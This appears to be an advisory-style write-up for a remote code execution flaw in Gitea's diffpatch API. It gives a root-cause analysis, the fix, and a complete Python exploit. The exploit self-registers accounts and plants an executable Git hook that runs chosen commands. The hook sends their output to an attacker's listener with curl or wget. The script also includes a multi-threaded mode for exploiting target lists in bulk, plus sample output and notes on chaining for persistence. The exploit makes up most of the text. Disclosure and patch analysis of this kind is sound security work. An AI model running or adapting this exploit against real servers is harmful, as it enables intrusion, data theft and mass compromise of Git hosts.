#Summary

CVE-2026-60004 is a critical remote code execution vulnerability in Gitea (self-hosted Git service) affecting versions 1.17.0 through 1.27.0. The diffpatch API applies attacker-supplied unified diffs to a bare temporary clone, and due to a three-way-merge fallback that escapes the --cached flag, a specially crafted diff can write a live executable Git hook to the repository root. The hook fires automatically, executing arbitrary commands as the Gitea service account. The vulnerability requires two identical API requests to the same branch and is effectively pre-authentication on default installs with open registration enabled. CVSS 9.8 CRITICAL.

#Am I affected?

#How to check

Run a version check against the Gitea instance:

curl -s http://target:3000/api/v1/version | grep version_string
Output Verdict
1.17.0 through 1.27.0 VULNERABLE
1.27.1 or later PATCHED

If the instance has open registration disabled and no write-capable credentials, the vulnerability is not exploitable but the instance is still vulnerable code-wise.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The vulnerability lives in the ApplyDiffPatch function in services/repository/files/patch.go (Gitea v1.27.0). Every diffpatch API request creates a fresh temporary clone:

t, err := NewTemporaryUploadRepository(repo)
defer t.Close()
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {   // bare = true
    return nil, err
}
if err := t.SetDefaultIndex(ctx); err != nil {
    return nil, err
}

The key problem: the clone is created bare (bare = true). In a bare Git repository, $GIT_DIR is the repository root itself, not a .git/ subdirectory. This means the hooks/ directory sits directly at the working-tree root rather than under .git/hooks/.

The diff is then applied with:

cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--ignore-whitespace", "--whitespace=fix", "--binary")
if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")                              // three-way merge fallback
}
if err := cmdApply.WithDir(t.basePath).
    WithStdinBytes([]byte(opts.Content)).
    RunWithStderr(ctx); err != nil {
    return nil, fmt.Errorf("git apply error: %w", err)
}

The --cached flag is meant to update only the index, never the working tree. But when Git 2.32+ sees a hunk that cannot be applied cleanly, the -3 flag triggers a three-way merge fallback, which ignores the --cached promise and writes the merged result directly to the working tree. Since the repo is bare, "the working tree" is $GIT_DIR, so the file lands at $GIT_DIR/hooks/post-index-change with whatever mode the diff specifies (mode 100755 = executable).

Critically, the Validate method performs no path checking on the diff contents. A diff targeting hooks/post-index-change is accepted without question.

#How input reaches the sink

  1. Request 1: Attacker sends a unified diff creating a new file hooks/post-index-change with mode 100755 to POST /api/v1/repos/{owner}/{repo}/diffpatch.
  2. Fresh bare clone is created; git apply -3 applies the diff to the index. On the first apply there is no collision, so git apply only stages the entry (respecting --cached) and nothing is written to disk. Gitea commits this file into the branch tree.
  3. Request 2: Attacker sends the identical diff again to the same branch.
  4. Fresh bare clone of the same branch; because HEAD now contains hooks/post-index-change, read-tree HEAD loads that entry into the index. Re-applying the identical "new file" hunk is now an add/add collision.
  5. Git's three-way-merge path activates and writes the file to disk at $GIT_DIR/hooks/post-index-change. The index write that accompanies git apply --index immediately fires the post-index-change hook, executing the attacker's shell command as the Gitea service account.

#Patch diff

Fix commit d7bc52beeadff4be5f5690de4d5de42abd10affe (released in Gitea 1.27.1) makes one security-critical change: flip the temporary clone from bare to non-bare:

-	if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+	// here must NOT use bare repo, because the following git commands might operate working tree ("--index") directly
+	if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

#What the fix does

In a non-bare clone, $GIT_DIR is .git/ and the actual working tree is the parent directory. When the three-way-merge fallback writes the file to "the working tree," it now lands at <tmpdir>/hooks/post-index-change - just an ordinary tracked file in the clone, not at .git/hooks/post-index-change. The real hooks directory (.git/hooks/) is never touched, so Git never invokes any hook, and no command executes.

The patch also adds a regression test asserting the temporary repository is no longer bare:

_, err = os.Stat(filepath.Join(tmpRepo.basePath, ".git"))
require.NoError(t, err)

#Proof of concept

#exploit.py - Gitea diffpatch RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-60004 - Gitea diffpatch API RCE via Git hook installation
Affected: Gitea 1.17.0 up to (not including) 1.27.1
Type: RCE (remote code execution / code injection)

The diffpatch API applies an attacker-supplied unified diff to a *bare* temporary
clone of a repository. Because the clone is bare, its working-tree root is the Git
directory itself, so a diff that creates the file `hooks/post-index-change` (mode
100755) lands a live, executable Git hook. `git apply --index -3` escapes the
`--cached` promise via its three-way-merge fallback and writes that file to disk,
and the very index write performed by `git apply --index` then invokes the freshly
installed `post-index-change` hook. The command inside it runs as the Gitea service
account.

The trigger needs two identical requests to the same branch: the first commits the
`hooks/post-index-change` path into the branch tree; the second re-applies the same
"new file" hunk, which now collides against the index and forces the three-way merge
that writes the hook to disk and fires it.

Success is proven out of band: the injected hook calls back to a listener this script
runs, carrying the base64-encoded output of the requested command. The callback
arriving at all proves code execution; the decoded output is corroboration.

Usage:
  # Single target (open registration is used to self-provision an account + repo):
  python exploit.py --host http://192.168.1.10:3000 --command id

  # Lab / when the target cannot route back to your auto-detected IP, name the
  # address the target should call back to:
  python exploit.py --host http://127.0.0.1:3010 --callback-host host.docker.internal

  # Use an existing account / token instead of self-registering:
  python exploit.py --host https://git.corp.com --token <api_token> --command "id"
  python exploit.py --host https://git.corp.com --username user --password pass

  # Batch scan:
  python exploit.py --list targets.txt --workers 20 --callback-host 10.0.0.5
"""

import argparse
import json
import secrets
import socket
import sys
import threading
import time
import urllib.parse
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("This exploit requires the 'requests' library (pip install requests).")
    sys.exit(2)

CVE_ID    = "CVE-2026-60004"
VULN_TYPE = "RCE"

HOOK_PATH = "hooks/post-index-change"


# --------------------------------------------------------------------------- #
# Standard output helpers
# --------------------------------------------------------------------------- #
def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# --------------------------------------------------------------------------- #
# Out-of-band callback listener
# --------------------------------------------------------------------------- #
class _CallbackStore(object):
    """Thread-safe registry of callbacks keyed by per-target random marker."""

    def __init__(self):
        self._lock = threading.Lock()
        self._hits = {}   # marker -> decoded command output (str)

    def record(self, marker, data):
        with self._lock:
            self._hits[marker] = data

    def get(self, marker):
        with self._lock:
            return self._hits.get(marker)


class _CallbackHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        marker = parsed.path.strip("/").split("/")[0]
        params = urllib.parse.parse_qs(parsed.query)
        blob = params.get("d", [""])[0]
        decoded = ""
        if blob:
            try:
                import base64
                decoded = base64.b64decode(blob + "===").decode("utf-8", "replace").strip()
            except Exception:
                decoded = blob
        if marker:
            self.server.store.record(marker, decoded)
        self.send_response(200)
        self.send_header("Content-Length", "2")
        self.end_headers()
        try:
            self.wfile.write(b"ok")
        except Exception:
            pass

    def do_POST(self):
        self.do_GET()

    def log_message(self, *a):
        pass


def start_callback_server(bind_port):
    store = _CallbackStore()
    httpd = ThreadingHTTPServer(("0.0.0.0", bind_port), _CallbackHandler)
    httpd.store = store
    t = threading.Thread(target=httpd.serve_forever, daemon=True)
    t.start()
    return httpd, store, httpd.server_address[1]


def detect_source_ip(target_host):
    """Best-effort local IP the OS would use to reach target_host."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect((target_host, 9))
            return s.getsockname()[0]
        finally:
            s.close()
    except Exception:
        return "127.0.0.1"


# --------------------------------------------------------------------------- #
# Payload construction
# --------------------------------------------------------------------------- #
def build_hook_diff(command, cb_host, cb_port, marker):
    """Unified diff that creates an executable hooks/post-index-change that
    runs `command` and exfiltrates its output to the callback listener."""
    url = "http://%s:%s/%s" % (cb_host, cb_port, marker)
    # Base64 the output so arbitrary command output survives the URL. If base64 is
    # absent on the target the callback still fires (proving execution) with empty d.
    hook_lines = [
        "#!/bin/sh",
        "D=$(%s 2>&1 | base64 2>/dev/null | tr -d '\\n')" % command,
        'curl -s -m 8 "%s?d=$D" >/dev/null 2>&1 || '
        'wget -q -O /dev/null "%s?d=$D" >/dev/null 2>&1' % (url, url),
    ]
    body = "".join("+" + ln + "\n" for ln in hook_lines)
    diff = (
        "diff --git a/%s b/%s\n" % (HOOK_PATH, HOOK_PATH) +
        "new file mode 100755\n" +
        "index 0000000000000000000000000000000000000000.."
        "1111111111111111111111111111111111111111\n" +
        "--- /dev/null\n" +
        "+++ b/%s\n" % HOOK_PATH +
        "@@ -0,0 +1,%d @@\n" % len(hook_lines) +
        body
    )
    return diff


# --------------------------------------------------------------------------- #
# Gitea interaction
# --------------------------------------------------------------------------- #
def _base_url(host, port, use_tls, path="/"):
    scheme = "https" if use_tls else "http"
    prefix = (path or "/").rstrip("/")
    return "%s://%s:%s%s" % (scheme, host, port, prefix)


def _self_register(sess, base, marker):
    """Register a fresh account via open registration. Returns (user, password)."""
    user = "svc_%s" % marker[:10]
    passwd = "Pw_%s_9aZ" % marker[:12]
    email = "%s@example.com" % user
    # Prime a session (some builds seed anti-CSRF state on the GET).
    try:
        sess.get(base + "/user/sign_up", timeout=15, verify=False)
    except Exception:
        pass
    r = sess.post(
        base + "/user/sign_up",
        data={
            "user_name": user,
            "email": email,
            "password": passwd,
            "retype": passwd,
        },
        timeout=20,
        verify=False,
        allow_redirects=False,
    )
    # 302/303 redirect (to / or /user/login) means the account was created.
    if r.status_code in (301, 302, 303):
        return user, passwd
    # 200 with the form re-rendered usually means registration disabled / taken.
    return None, None


def _mint_token(base, user, passwd, marker):
    tok_name = "svc-%s" % marker[:8]
    r = requests.post(
        "%s/api/v1/users/%s/tokens" % (base, user),
        auth=(user, passwd),
        json={"name": tok_name, "scopes": ["write:repository", "write:user"]},
        timeout=20,
        verify=False,
    )
    if r.status_code in (200, 201):
        try:
            return r.json().get("sha1")
        except Exception:
            return None
    return None


def _create_repo(base, token, marker):
    repo = "tmp-%s" % marker[:10]
    r = requests.post(
        "%s/api/v1/user/repos" % base,
        headers={"Authorization": "token %s" % token},
        json={"name": repo, "auto_init": True,
              "default_branch": "main", "private": False},
        timeout=25,
        verify=False,
    )
    if r.status_code not in (200, 201):
        return None, None, None
    body = r.json()
    owner = body.get("owner", {}).get("login")
    branch = body.get("default_branch") or "main"
    return owner, repo, branch


def _obtain_context(sess, base, marker, token_arg, user_arg, pass_arg):
    """Resolve (token, owner) using, in order: explicit token, explicit creds,
    self-registration. Then create a fresh repo. Returns dict or None."""
    token = None
    owner = None

    if token_arg:
        token = token_arg
        # Discover the authenticated user for the token.
        r = requests.get("%s/api/v1/user" % base,
                         headers={"Authorization": "token %s" % token},
                         timeout=20, verify=False)
        if r.status_code == 200:
            owner = r.json().get("login")
    elif user_arg and pass_arg:
        token = _mint_token(base, user_arg, pass_arg, marker)
        owner = user_arg
    else:
        user, passwd = _self_register(sess, base, marker)
        if not user:
            return None
        token = _mint_token(base, user, passwd, marker)
        owner = user

    if not token:
        return None

    r_owner, repo, branch = _create_repo(base, token, marker)
    if not repo:
        return None
    owner = r_owner or owner
    return {"token": token, "owner": owner, "repo": repo, "branch": branch}


def _send_diffpatch(base, token, owner, repo, branch, diff):
    r = requests.post(
        "%s/api/v1/repos/%s/%s/diffpatch" % (base, owner, repo),
        headers={"Authorization": "token %s" % token,
                 "Content-Type": "application/json"},
        data=json.dumps({
            "content": diff,
            "branch": branch,
            "new_branch": branch,
            "message": "patch",
        }),
        timeout=40,
        verify=False,
    )
    return r.status_code


# --------------------------------------------------------------------------- #
# Core: one full exploitation run against a single base URL
# --------------------------------------------------------------------------- #
def _run_once(base, command, cb_host, cb_port, store, timeout,
              token_arg, user_arg, pass_arg, verbose=False):
    """Returns (success, evidence, extra). extra carries status codes for logs."""
    marker = secrets.token_hex(8)
    sess = requests.Session()

    if verbose:
        step(1, "Provisioning access (token / credentials / open registration)...")
    ctx = _obtain_context(sess, base, marker, token_arg, user_arg, pass_arg)
    if not ctx:
        return False, "could not obtain a write-capable account/token (registration disabled?)", {}

    owner, repo, branch = ctx["owner"], ctx["repo"], ctx["branch"]
    token = ctx["token"]
    if verbose:
        section("PROVISIONED", "repo=%s/%s  branch=%s" % (owner, repo, branch))

    diff = build_hook_diff(command, cb_host, cb_port, marker)

    if verbose:
        step(2, "Request #1: commit the hooks/post-index-change path into the branch...")
    try:
        s1 = _send_diffpatch(base, token, owner, repo, branch, diff)
    except Exception as e:
        return False, "request #1 failed (%s)" % e.__class__.__name__, {}
    if verbose:
        print("        request #1 -> HTTP %s" % s1)

    if verbose:
        step(3, "Request #2 (identical): force the add/add three-way merge that "
                "writes and fires the hook...")
    try:
        s2 = _send_diffpatch(base, token, owner, repo, branch, diff)
    except Exception as e:
        # The hook may have already fired before the socket dropped; fall through
        # to the callback check rather than declaring failure here.
        s2 = "exc:%s" % e.__class__.__name__
    if verbose:
        print("        request #2 -> HTTP %s" % s2)
        step(4, "Waiting for out-of-band callback from the injected hook...")

    deadline = time.time() + timeout
    output = None
    while time.time() < deadline:
        output = store.get(marker)
        if output is not None:
            break
        time.sleep(0.3)

    extra = {"s1": s1, "s2": s2, "marker": marker,
             "owner": owner, "repo": repo, "branch": branch}

    if output is not None:
        line = output.splitlines()[0] if output else "(command produced no capturable output)"
        return True, "hook executed on target; command output: %s" % line, extra
    return False, ("no callback within %ss - target patched or unreachable "
                   "callback path" % timeout), extra


# --------------------------------------------------------------------------- #
# Scan mode (--list)
# --------------------------------------------------------------------------- #
def _parse_target(line, default_port, default_path="/"):
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urllib.parse.urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def _try_exploit(host, port, use_tls, path="/", command="id", cb_host=None,
                 cb_port=None, store=None, timeout=12,
                 token_arg=None, user_arg=None, pass_arg=None):
    """Silent probe for scan mode. Never prints, never exits."""
    base = _base_url(host, port, use_tls, path)
    effective_cb = cb_host or detect_source_ip(host)
    try:
        ok, evidence, _ = _run_once(base, command, effective_cb, cb_port, store,
                                    timeout, token_arg, user_arg, pass_arg,
                                    verbose=False)
        return ok, evidence
    except Exception as e:
        return False, "error (%s)" % e.__class__.__name__


def scan(targets_file, default_port, workers, command, cb_host, cb_port,
         store, timeout, token_arg, user_arg, pass_arg):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        label = "%s://%s:%s" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls, path, command, cb_host,
                                    cb_port, store, timeout, token_arg,
                                    user_arg, pass_arg)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % (
                "[+]" if ok else "[-]", label,
                "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)" % (
        success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# --------------------------------------------------------------------------- #
# Single-target driver
# --------------------------------------------------------------------------- #
def exploit(host, port, use_tls, path, command, cb_host, cb_port, store,
            timeout, token_arg, user_arg, pass_arg):
    header(host, port)
    base = _base_url(host, port, use_tls, path)
    effective_cb = cb_host or detect_source_ip(host)
    print("[*] Callback listener advertised to target: http://%s:%s/" % (effective_cb, cb_port))
    print("[*] Base URL: %s\n" % base)

    ok, evidence, extra = _run_once(base, command, effective_cb, cb_port, store,
                                    timeout, token_arg, user_arg, pass_arg,
                                    verbose=True)

    if extra.get("marker"):
        output = store.get(extra["marker"])
        if output:
            section("COMMAND OUTPUT", output)

    if ok:
        done(True, "RCE confirmed - %s" % evidence)
    else:
        section("REQUEST STATUS", "request #1: %s | request #2: %s" % (
            extra.get("s1"), extra.get("s2")))
        done(False, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP or full URL "
                            "(e.g. http://host:3000)")
    target_grp.add_argument("--list", metavar="FILE",
                            help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=3000,
                        help="Default port (default: 3000)")
    parser.add_argument("--command", default="id",
                        help="Command to execute on the target (default: id)")
    parser.add_argument("--workers", type=int, default=10,
                        help="Threads for --list mode (default: 10)")
    parser.add_argument("--callback-host", default=None,
                        help="Address the target should call back to. Default: "
                             "auto-detected local IP toward the target. In a NAT'd "
                             "lab pass e.g. host.docker.internal.")
    parser.add_argument("--callback-port", type=int, default=0,
                        help="Local port for the callback listener (default: ephemeral).")
    parser.add_argument("--timeout", type=int, default=15,
                        help="Seconds to wait for the hook callback (default: 15).")
    parser.add_argument("--token", default=None,
                        help="Existing Gitea API token (write:repository). "
                             "If omitted, credentials or open registration are used.")
    parser.add_argument("--username", default=None,
                        help="Existing account username (used to mint a token).")
    parser.add_argument("--password", default=None,
                        help="Existing account password.")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    # One shared callback listener for the whole run (single or batch).
    httpd, store, bind_port = start_callback_server(args.callback_port)
    cb_port = bind_port

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             command=args.command, cb_host=args.callback_host, cb_port=cb_port,
             store=store, timeout=args.timeout, token_arg=args.token,
             user_arg=args.username, pass_arg=args.password)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args.command, args.callback_host,
                cb_port, store, args.timeout, args.token, args.username, args.password)

#Usage

python exploit.py --host http://192.168.1.10:3000 --command id

The script supports several modes:

Example output against a vulnerable target:

[STEP 1] Provisioning access (token / credentials / open registration)...
--- PROVISIONED ---
repo=svc_f4d9d1a2f5/tmp-f4d9d1a2f5  branch=main
---

[STEP 2] Request #1: commit the hooks/post-index-change path into the branch...
        request #1 -> HTTP 201
[STEP 3] Request #2 (identical): force the add/add three-way merge that writes and fires the hook...
        request #2 -> HTTP 201
[STEP 4] Waiting for out-of-band callback from the injected hook...

--- COMMAND OUTPUT ---
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
---

RESULT  : SUCCESS
EVIDENCE: RCE confirmed - hook executed on target; command output: uid=1000(git) gid=1000(git) groups=1000(git),1000(git)

Example against a patched target (note the HTTP 500 and no callback):

[STEP 2] Request #1: commit the hooks/post-index-change path into the branch...
        request #1 -> HTTP 201
[STEP 3] Request #2 (identical): force the add/add three-way merge that writes and fires the hook...
        request #2 -> HTTP 500

RESULT  : FAILURE
EVIDENCE: no callback within 15s - target patched or unreachable callback path

#Exploitation notes

#Preconditions

#Reliability

Highly reliable. The attack is logic-based, not memory-based. It requires only two sequential HTTP requests with no races or timing constraints. Success detection relies on an out-of-band network callback, which is unambiguous.

#Impact

Arbitrary shell command execution as the Gitea service account, leading to full repository compromise, access to other repositories, potential lateral movement to the host, and CI/CD pipeline access if Gitea is integrated with automation tools.

#Chaining potential

The RCE lands with the Gitea service account's privileges. On many systems, that account has read access to the Git data directory and potentially to backup files, database snapshots, or API token storage. The existence of a fresh account and repository created during the exploit can be leveraged for persistence or as a foothold for further reconnaissance.

#References